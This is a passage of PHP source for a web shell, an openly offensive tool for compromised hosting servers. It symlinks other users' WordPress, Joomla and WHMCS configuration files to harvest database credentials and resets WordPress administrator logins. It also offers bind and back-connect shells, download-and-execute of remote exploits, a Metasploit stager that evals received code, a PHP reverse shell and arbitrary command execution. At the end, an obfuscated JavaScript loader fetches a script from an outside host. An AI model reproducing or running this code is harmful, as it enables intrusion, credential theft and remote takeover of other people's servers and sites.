            $htaccess = "\nOptions all\nOptions +Indexes\nOptions +FollowSymLinks\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None \nSatisfy Any\n";
            file_put_contents(".htaccess", $htaccess, FILE_APPEND);
            $passwd = $_POST["passwd"];
            $passwd = explode("\n", $passwd);
            echo "<center class='k2ll33d2'>wait ...<center>";
            foreach ($passwd as $pwd) {
                $pawd = explode(":", $pwd);
                $user = $pawd[0];
                @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
                @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
                @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
                @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
                @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
                @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
                @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
                @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
                @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
                @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
                @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
                @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
                @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
                @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
                @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
                @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
                @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
                @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
                @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
                @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
                @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
                @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
                @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
                @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
                @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
                @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
                @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
                @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
                @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
            }
            echo "Done -> <a href=\"configs\">configs</a>";
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'config') {
        error_reporting(0);
        if ($_POST['kill']) {
            $url = $_POST['url'];
            $user = $_POST['user'];
            $pass = $_POST['pass'];
            $pss = md5($pass);
            function enter($text, $a, $b)
            {
                $explode = explode($a, $text);
                $explode = explode($b, $explode[1]);
                return $explode[0];
            }
            $config = file_get_contents($url);
            $password = enter($config, "define('DB_PASSWORD', '", "');");
            $username = enter($config, "define('DB_USER', '", "');");
            $db = enter($config, "define('DB_NAME', '", "');");
            $prefix = enter($config, '$table_prefix  = \'', "';");
            $host = enter($config, "define('DB_HOST', '", "');");
            if ($config && preg_match('/DB_NAME/i', $config)) {
                $conn = @mysql_connect($host, $username, $password) or die("i can't connect to mysql, check your data");
                @mysql_select_db($db, $conn) or die(mysql_error());
                $grab = @mysql_query("SELECT * from  `wp_options` WHERE option_name='home'");
                $data = @mysql_fetch_array($grab);
                $site_url = $data["option_value"];
                $query = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = '" . $user . "',`user_pass` = '" . $pss . "' WHERE `ID` = 1");
                if ($query) {
                    echo '<center><h2 class="k2ll33d2">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">' . $site_url . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $pass . '</td><td width="20%"><a href="' . $site_url . '/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';
                } else {
                    echo "<h2 class=\"k2ll33d2\"><font color=\"#ff0000\">ERROR !</font></h2>";
                }
            } else {
                die('<h2 class="k2ll33d2">Not a wordpress config</h2>');
            }
        } else {
            ?> <center><br><br><div class="mybox"><form method="post"><h2 style='font-size:26px;' class='k2ll33d2'>Wordpress login changer ( symlink version )</h2><br><table><tr><td>config link&nbsp;:&nbsp;</td><td><input size="26" class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user&nbsp;:&nbsp;</td><td><input class="inputz" type="text" name="user" size="26" value="admin"></td></tr><tr><td>new password&nbsp;:&nbsp;</td><td><input class="inputz" type="text" size="26" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input class="inputzbut" type="submit" name="kill" value=" change "></td><br></tr></table></form></div></center><?php 
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'domains') {
        echo "<br><br><center><div class='mybox'><p align='center' class='k2ll33d2'>Domains and Users</p>";
        $d0mains = @file("/etc/named.conf");
        if (!$d0mains) {
            die("<center>Error : i can't read [ /etc/named.conf ]</center>");
        }
        echo "<table id=\"output\"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>";
        foreach ($d0mains as $d0main) {
            if (eregi("zone", $d0main)) {
                preg_match_all('#zone "(.*)"#', $d0main, $domains);
                flush();
                if (strlen(trim($domains[1][0])) > 2) {
                    $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                    echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
                    flush();
                }
            }
        }
        echo "</div></center>";
    } elseif (isset($_GET['x']) && $_GET['x'] == 'keyboard') {
        if (empty($_POST['pwd'])) {
            echo "<br><br><center><div class='mybox'><h2 style='font-size:40px;' class='k2ll33d2'>Wordpress login changer</h2><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host :  <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='10' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM></div/></center>";
        } else {
            $prefix = $_POST['prefix'];
            $localhost = $_POST['localhost'];
            $database = $_POST['database'];
            $username = $_POST['username'];
            $password = $_POST['password'];
            $pwd = $_POST['pwd'];
            $admin = $_POST['admin'];
            @mysql_connect($localhost, $username, $password) or die(mysql_error());
            @mysql_select_db($database) or die(mysql_error());
            $hash = crypt($pwd);
            $grab = @mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
            $data = @mysql_fetch_array($grab);
            $site_url = $data["option_value"];
            $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
            $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
            if ($k2) {
                echo '<br><br><center><h1>Done ... -> <a href="' . $site_url . '/wp-login.php" target="_blank">Login</a></h1></center>';
            }
        }
        echo "</center>";
    } elseif (isset($_GET['x']) && $_GET['x'] == 'string') {
        $text = $_POST['code'];
        ?><center><br><br><div class="mybox"><h2 class="k2ll33d2">String encoder</h2><form method="post"><br><textarea class='inputz' cols=80 rows=5 name="code">k2ll33d</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php 
        $op = $_POST["ope"];
        switch ($op) {
            case 'base64':
                $codi = base64_encode($text);
                break;
            case 'md5':
                $codi = md5($text);
                break;
            case 'whash':
                $codi = crypt($text);
                break;
            case 'SHA1':
                $codi = sha1($text);
                break;
            case 'urlencode':
                $codi = urlencode($text);
                break;
            case 'md4':
                $codi = hash("md4", $text);
                break;
            case 'SHA256':
                $codi = hash("sha256", $text);
                break;
            default:
                break;
        }
        echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></div></center>';
    } elseif (isset($_GET['x']) && $_GET['x'] == 'phpinfo') {
        @ob_start();
        @phpinfo();
        $buff = @ob_get_contents();
        @ob_end_clean();
        $awal = strpos($buff, "<body>") + 6;
        $akhir = strpos($buff, "</body>");
        echo "<div class='phpinfo'>" . substr($buff, $awal, $akhir - $awal) . "</div>";
    } elseif (isset($_GET['view']) && $_GET['view'] != "") {
        if (is_file($_GET['view'])) {
            if (!isset($file)) {
                $file = magicboom($_GET['view']);
            }
            if (!$win && $posix) {
                $name = @posix_getpwuid(@fileowner($file));
                $group = @posix_getgrgid(@filegroup($file));
                $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $filn = basename($file);
            echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='" . clearspace($filn) . "_link'>" . $file . "</span> <form action='?y=" . $pwd . "&amp;view={$file}' method='post' id='" . clearspace($filn) . "_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='" . $filn . "' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='" . $filn . "' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');' /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href='?y={$pwd}&amp;edit={$file}'>edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href='?y={$pwd}&amp;delete={$file}'>delete</a> | <a href='?y={$pwd}&amp;dl={$file}'>download</a>&nbsp;(<a href='?y={$pwd}&amp;dlgzip={$file}'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?y=" . $pwd . "&amp;view=" . $file . "'>text</a> | <a href='?y=" . $pwd . "&amp;view=" . $file . "&amp;type=code'>code</a> | <a href='?y=" . $pwd . "&amp;view=" . $file . "&amp;type=image'>image</a></td></tr></table>";
            if (isset($_GET['type']) && $_GET['type'] == 'image') {
                echo "<div style='text-align:center;margin:8px;'><img src='?y=" . $pwd . "&amp;img=" . $filn . "'></div>";
            } elseif (isset($_GET['type']) && $_GET['type'] == 'code') {
                echo "<div class='viewfile'>";
                $file = wordwrap(@file_get_contents($file), "240", "\n");
                @highlight_string($file);
                echo "</div>";
            } else {
                echo "<div class='viewfile'>";
                echo nl2br(htmlentities(@file_get_contents($file)));
                echo "</div>";
            }
        } elseif (is_dir($_GET['view'])) {
            echo showdir($pwd, $prompt);
        }
    } elseif (isset($_GET['edit']) && $_GET['edit'] != "") {
        if (isset($_POST['save'])) {
            $file = $_POST['saveas'];
            $content = magicboom($_POST['content']);
            if ($filez = @fopen($file, "w")) {
                $time = date("d-M-Y H:i", time());
                if (@fwrite($filez, $content)) {
                    $msg = "file saved <span class='gaya'>@</span> " . $time;
                } else {
                    $msg = "failed to save";
                }
                @fclose($filez);
            } else {
                $msg = "permission denied";
            }
        }
        if (!isset($file)) {
            $file = $_GET['edit'];
        }
        if ($filez = @fopen($file, "r")) {
            $content = "";
            while (!feof($filez)) {
                $content .= htmlentities(str_replace("''", "'", fgets($filez)));
            }
            @fclose($filez);
        }
        ?><form action="?y=<?php 
        echo $pwd;
        ?>&amp;edit=<?php 
        echo $file;
        ?>" method="post"> <table class="cmdbox"> <tr><td colspan="2"> 
<textarea class="output" name="content"> 
<?php 
        echo $content;
        ?></textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php 
        echo $file;
        ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php 
        echo $msg;
        ?></td></tr></table></form> <?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'upload') {
        if (isset($_POST['uploadcomp'])) {
            if (is_uploaded_file($_FILES['file']['tmp_name'])) {
                $path = magicboom($_POST['path']);
                $fname = $_FILES['file']['name'];
                $tmp_name = $_FILES['file']['tmp_name'];
                $pindah = $path . $fname;
                $stat = @move_uploaded_file($tmp_name, $pindah);
                if ($stat) {
                    $msg = "file uploaded to {$pindah}";
                } else {
                    $msg = "failed to upload {$fname}";
                }
            } else {
                $msg = "failed to upload {$fname}";
            }
        } elseif (isset($_POST['uploadurl'])) {
            $pilihan = trim($_POST['pilihan']);
            $wurl = trim($_POST['wurl']);
            $path = magicboom($_POST['path']);
            $namafile = download($pilihan, $wurl);
            $pindah = $path . $namafile;
            if (is_file($pindah)) {
                $msg = "file uploaded to {$pindah}";
            } else {
                $msg = "failed to upload {$namafile}";
            }
        }
        ?><br><br><center><div class="mybox"><form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=upload" enctype="multipart/form-data" method="post"><h1 class="k2ll33d2">Upload Files To The Server</h1><table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" />&nbsp;<input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php 
        echo $pwd;
        ?>" /></td></tr> </tr> </table></form><br><table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php 
        echo $pwd;
        ?>&amp;x=upload"> <table><tr><td>link</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://site/file.*"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php 
        echo $pwd;
        ?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php 
        echo $msg;
        ?></div></div></center>
<?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'back') {
        if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && $_POST['use'] == 'C') {
            $port = trim($_POST['port']);
            $passwrd = trim($_POST['bind_pass']);
            tulis("bdc.c", $port_bind_bd_c);
            exe("gcc -o bdc bdc.c");
            exe("chmod 777 bdc");
            @unlink("bdc.c");
            exe("./bdc " . $port . " " . $passwrd . " &");
            $scan = exe("ps aux");
            if (eregi("./bdc {$por}", $scan)) {
                $msg = "<p>Process successed</p>";
            } else {
                $msg = "<p>Process Failed</p>";
            }
        } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && $_POST['use'] == 'Perl') {
            $port = trim($_POST['port']);
            $passwrd = trim($_POST['bind_pass']);
            tulis("bdp", $port_bind_bd_pl);
            exe("chmod 777 bdp");
            $p2 = which("perl");
            exe($p2 . " bdp " . $port . " &");
            $scan = exe("ps aux");
            if (eregi("{$p2} bdp {$port}", $scan)) {
                $msg = "<p>Process successed</p>";
            } else {
                $msg = "<p>Process Failed</p>";
            }
        } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'C') {
            $ip = trim($_POST['ip']);
            $port = trim($_POST['backport']);
            tulis("bcc.c", $back_connect_c);
            exe("gcc -o bcc bcc.c");
            exe("chmod 777 bcc");
            @unlink("bcc.c");
            exe("./bcc " . $ip . " " . $port . " &");
            $msg = "trying to connect to " . $ip . " on port " . $port . " ...";
        } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'Perl') {
            $ip = trim($_POST['ip']);
            $port = trim($_POST['backport']);
            tulis("bcp", $back_connect);
            exe("chmod +x bcp");
            $p2 = which("perl");
            exe($p2 . " bcp " . $ip . " " . $port . " &");
            $msg = "Trying to connect to " . $ip . " on port " . $port . " ...";
        } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
            $pilihan = trim($_POST['pilihan']);
            $wurl = trim($_POST['wurl']);
            $namafile = download($pilihan, $wurl);
            if (is_file($namafile)) {
                $msg = exe($wcmd);
            } else {
                $msg = "error: file not found {$namafile}";
            }
        }
        ?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?y=<?php 
        echo $pwd;
        ?>&amp;x=back"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php 
        echo $bindport;
        ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php 
        echo $bindport_pass;
        ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?y=<?php 
        echo $pwd;
        ?>&amp;x=back"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php 
        echo getenv('REMOTE_ADDR') ? getenv('REMOTE_ADDR') : "127.0.0.1";
        ?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php 
        echo $bindport;
        ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?y=<?php 
        echo $pwd;
        ?>&amp;x=back"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px;"><?php 
        echo $msg;
        ?></div><br>
<?php 
        error_reporting(0);
        function ss($t)
        {
            if (!get_magic_quotes_gpc()) {
                return trim(urldecode($t));
            }
            return trim(urldecode(stripslashes($t)));
        }
        $s_my_ip = $_SERVER['REMOTE_ADDR'];
        $rsport = "443";
        $rsportb4 = $rsport;
        $rstarget4 = $s_my_ip;
        $s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo {$pwd};?>&amp;x='back'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td></div><br><div class='mybox'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
        echo $s_result;
        if ($_POST['metaConnect']) {
            $ipaddr = $_POST['yip'];
            $port = $_POST['yport'];
            if ($ip == "" && $port == "") {
                echo "fill in the blanks";
            } else {
                if (FALSE !== strpos($ipaddr, ":")) {
                    $ipaddr = "[" . $ipaddr . "]";
                }
                if (is_callable('stream_socket_client')) {
                    $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
                    if (!$msgsock) {
                        die;
                    }
                    $msgsock_type = 'stream';
                } elseif (is_callable('fsockopen')) {
                    $msgsock = fsockopen($ipaddr, $port);
                    if (!$msgsock) {
                        die;
                    }
                    $msgsock_type = 'stream';
                } elseif (is_callable('socket_create')) {
                    $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                    $res = socket_connect($msgsock, $ipaddr, $port);
                    if (!$res) {
                        die;
                    }
                    $msgsock_type = 'socket';
                } else {
                    die;
                }
                switch ($msgsock_type) {
                    case 'stream':
                        $len = fread($msgsock, 4);
                        break;
                    case 'socket':
                        $len = socket_read($msgsock, 4);
                        break;
                }
                if (!$len) {
                    die;
                }
                $a = unpack("Nlen", $len);
                $len = $a['len'];
                $buffer = '';
                while (strlen($buffer) < $len) {
                    switch ($msgsock_type) {
                        case 'stream':
                            $buffer .= fread($msgsock, $len - strlen($buffer));
                            break;
                        case 'socket':
                            $buffer .= socket_read($msgsock, $len - strlen($buffer));
                            break;
                    }
                }
                eval($buffer);
                echo "[*] Connection Terminated";
                die;
            }
        }
        if (isset($_REQUEST['sqlportb4'])) {
            $rsportb4 = ss($_REQUEST['sqlportb4']);
        }
        if (isset($_REQUEST['rstarget4'])) {
            $rstarget4 = ss($_REQUEST['rstarget4']);
        }
        if ($_POST['xback_php']) {
            $ip = $rstarget4;
            $port = $rsportb4;
            $chunk_size = 1337;
            $write_a = null;
            $error_a = null;
            $shell = '/bin/sh';
            $daemon = 0;
            $debug = 0;
            if (function_exists('pcntl_fork')) {
                $pid = pcntl_fork();
                if ($pid == -1) {
                    exit(1);
                }
                if ($pid) {
                    exit(0);
                }
                if (posix_setsid() == -1) {
                    exit(1);
                }
                $daemon = 1;
            }
            umask(0);
            $sock = fsockopen($ip, $port, $errno, $errstr, 30);
            if (!$sock) {
                exit(1);
            }
            $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
            $process = proc_open($shell, $descriptorspec, $pipes);
            if (!is_resource($process)) {
                exit(1);
            }
            stream_set_blocking($pipes[0], 0);
            stream_set_blocking($pipes[1], 0);
            stream_set_blocking($pipes[2], 0);
            stream_set_blocking($sock, 0);
            while (1) {
                if (feof($sock)) {
                    break;
                }
                if (feof($pipes[1])) {
                    break;
                }
                $read_a = array($sock, $pipes[1], $pipes[2]);
                $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
                if (in_array($sock, $read_a)) {
                    $input = fread($sock, $chunk_size);
                    fwrite($pipes[0], $input);
                }
                if (in_array($pipes[1], $read_a)) {
                    $input = fread($pipes[1], $chunk_size);
                    fwrite($sock, $input);
                }
                if (in_array($pipes[2], $read_a)) {
                    $input = fread($pipes[2], $chunk_size);
                    fwrite($sock, $input);
                }
            }
            fclose($sock);
            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            $rsres = " ";
            $s_result .= $rsres;
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'shell') {
        ?> 
<form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
<?php 
        if (isset($_POST['submitcmd'])) {
            echo @exe($_POST['cmd']);
        }
        ?> 
</textarea> <tr><td colspan="2"><?php 
        echo $prompt;
        ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%;" /></td></tr> </table></form> 
<?php 
    } else {
        if (isset($_GET['delete']) && $_GET['delete'] != "") {
            $file = $_GET['delete'];
            @unlink($file);
        } elseif (isset($_GET['fdelete']) && $_GET['fdelete'] != "") {
            @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
        } elseif (isset($_GET['mkdir']) && $_GET['mkdir'] != "") {
            $path = $pwd . $_GET['mkdir'];
            @mkdir($path);
        }
        $buff = showdir($pwd, $prompt);
        echo $buff;
    }
    ?></div>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>
</body></html><?php 
};
?> 


Original code


<?php
